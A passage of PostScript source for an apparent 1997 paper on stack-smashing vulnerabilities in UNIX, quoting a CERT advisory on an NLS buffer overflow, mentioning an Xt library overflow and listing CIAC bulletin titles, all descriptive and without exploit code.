setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6065 M (overflow condition in the Xt library, and the file xc/lib/Xt/Error.c. Exploitati\ on scripts ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6048 M 1181 5930 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6048 M 7519 5930 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5960 M (were made available.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5924 M 7523 5924 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3763 5793 M (CERT example 3.1.b) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 5447 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2358 5447 M (3.1.b ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2751 5447 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3245 5447 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 5447 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4288 5447 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4477 5447 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4740 5447 M (Open ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5160 5447 M (G) ST -4 0 MR (r) ST -4 0 MR (o) ST -4 0 MR (u) ST -4 0 MR (p) ST -5 0 MR (') ST -5 0 MR (s) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 5680 5488 M (6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5749 5447 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5809 5447 M (Xt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6017 5447 M (Library) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6526 5447 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6586 5447 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6785 5447 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7048 5447 M (widely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5171 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1588 5171 M (X ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1785 5171 M (Windowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2646 5171 M (System, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3256 5171 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3407 5171 M (GUI ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3780 5171 M (interface ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4440 5171 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4822 5171 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5065 5171 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5512 5171 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6005 5171 M (workstations. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7016 5171 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7352 5171 M (Xt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4895 M (Library ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1782 4895 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1955 4895 M (linked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2432 4895 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2623 4895 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2980 4895 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3412 4895 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3816 4895 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4405 4895 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4596 4895 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4861 4895 M (X ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5043 4895 M (Windowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5889 4895 M (System; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6488 4895 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6790 4895 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 4895 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4619 M (these programs may be vulnerable to stack smashing holes.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 4247 M 7523 4247 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4242 M 1181 4117 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4242 M 7519 4117 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 4139 M (-----------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4116 M 1181 4005 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4116 M 7519 4005 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4027 M (ftp://info.cert.org/pub/cert_advisories/CA-97.10.nls) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4004 M 1181 3900 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4004 M 7519 3900 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 3916 M (======================================================================) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3899 M 1181 3795 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3899 M 7519 3795 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3811 M (CERT* Advisory CA-97.10) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3794 M 1181 3690 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3794 M 7519 3690 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3706 M (Original issue date: April 24, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3689 M 1181 3585 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3689 M 7519 3585 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3601 M (Last revised: May 1, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3584 M 1181 3480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3584 M 7519 3480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3496 M ( Section III and Appendex. Updated vendor information for) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3479 M 1181 3375 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3479 M 7519 3375 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3391 M ( Hewlett-Packard Company.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3374 M 1181 3215 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3374 M 7519 3215 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3214 M 1181 3110 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3214 M 7519 3110 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3126 M (Topic: Vulnerability in Natural Language Service) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3109 M 1181 3005 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3109 M 7519 3005 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3021 M (---------------------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3004 M 1181 2900 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3004 M 7519 2900 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2916 M (The CERT Coordination Center has received reports of a buffer overflow condition\ that affects ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2899 M 1181 2795 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2899 M 7519 2795 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2811 M (some libraries using the Natural Language Service \(NLS\) on UNIX systems. By ex\ ploiting this ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2794 M 1181 2690 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2794 M 7519 2690 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2706 M (vulnerability, any local user can execute arbitrary programs as a privileged use\ r. There is a ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2689 M 1181 2585 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2689 M 7519 2585 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2601 M (possibility \(with some old libraries\) that the vulnerability can be exploited \ by a remote ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2584 M 1181 2480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2584 M 7519 2480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2496 M (user.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2479 M 1181 2375 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2479 M 7519 2375 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2391 M (Exploitation information is publicly available.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2374 M 1181 2256 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2374 M 7519 2256 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2286 M (-------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 2250 M 7523 2250 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3766 2119 M (CERT example 3.1.c) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 7 7 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (7) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1269 1230 M ( ftp://cert.org:/pub/cert_advisories/obsolete_advisories) 3033 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1489 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9688 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2368 9688 M (3.1.c ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2759 9688 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3260 9688 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3401 9688 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4317 9688 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4513 9688 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4996 9688 M (vendors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5590 9688 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5906 9688 M (incorporate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6731 9688 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7001 9688 M (Natural ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9412 M (Language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1921 9412 M (Service ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2482 9412 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2801 9412 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3167 9412 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4078 9412 M (Much ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4527 9412 M (like ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4837 9412 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5101 9412 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5701 9412 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5762 9412 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6672 9412 M (discussed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9412 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9136 M (example 3.a, a stack smashing hole exists in a specific NLS binary.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8860 M (CIAC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2172 8860 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2355 8860 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2630 8860 M (U.S. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2999 8860 M (Department ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3857 8860 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4068 8860 M (E) ST -3 0 MR (n) ST -3 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (g) ST -4 0 MR (y) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4716 8860 M (Computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5454 8860 M (Incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6071 8860 M (Advisory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6762 8860 M (Capability; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8584 M (established ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1999 8584 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2186 8584 M (1989, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2618 8584 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2916 8584 M (organization ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3805 8584 M (provides ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4436 8584 M (computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5123 8584 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5708 8584 M (services ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6303 8584 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6490 8584 M (employees ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 8584 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8308 M (contractors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2016 8308 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2231 8308 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2510 8308 M (United ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3038 8308 M (States ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3512 8308 M (Department ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4374 8308 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 8308 M (Energy. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5230 8308 M (CIAC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5704 8308 M (regularly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6381 8308 M (publishes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7085 8308 M (public ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8032 M (computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1921 8032 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2532 8032 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3151 8032 M (bulletins ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3807 8032 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4131 8032 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4437 8032 M (distributed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5232 8032 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5390 8032 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5983 8032 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6206 8032 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6825 8032 M (advisories ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7756 M (concerning buffer overflows[2]:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7467 M 7523 7467 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7462 M 1181 7337 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7462 M 7519 7337 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 7359 M (http://ciac.llnl.gov) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7336 M 1181 7232 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7336 M 7519 7232 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 7248 M (---------------------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7231 M 1181 7127 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7231 M 7519 7127 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7143 M ( What's New \(04/28/97\):) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7126 M 1181 6967 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7126 M 7519 6967 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6966 M 1181 6862 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6966 M 7519 6862 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6878 M (NLS Buffer Overflow Vulnerability \(H-49\) Released \(04/28/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6861 M 1181 6757 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6861 M 7519 6757 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6773 M (Internet Information Server Vulnerability \(H-48\) Released \(04/21/97\) New CIA\ C Internet Hoaxes ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6756 M 1181 6652 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6756 M 7519 6652 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6668 M (Page Updated \(04/17/97\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6651 M 1181 6547 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6651 M 7519 6547 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6563 M (Alert- AOL4FREE.COM Trojan Horse Program Destroys Hard Drives \(H-47a\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6200 6563 M (Released \(04/17/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6546 M 1181 6442 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6546 M 7519 6442 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6458 M (Vulnerability in IMAP and POP \(H-46\) Released \(04/10/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6441 M 1181 6337 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6441 M 7519 6337 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6353 M (Windows NT SAM permission Vulnerability \(H-45\) Released \(04/09/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6336 M 1181 6232 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6336 M 7519 6232 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6248 M (SPI for NT Version 97.03B Now Available \(04/02/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6231 M 1181 6127 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6231 M 7519 6127 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6143 M (Solaris 2.x fdformat Buffer Overflow Vulnerability \ \(H-44\) Release \(03/25/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6126 M 1181 6022 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6126 M 7519 6022 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6038 M (Alert- Update on the Vulnerability in innd \(H-43\) Released \(03/20/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6021 M 1181 5917 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6021 M 7519 5917 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 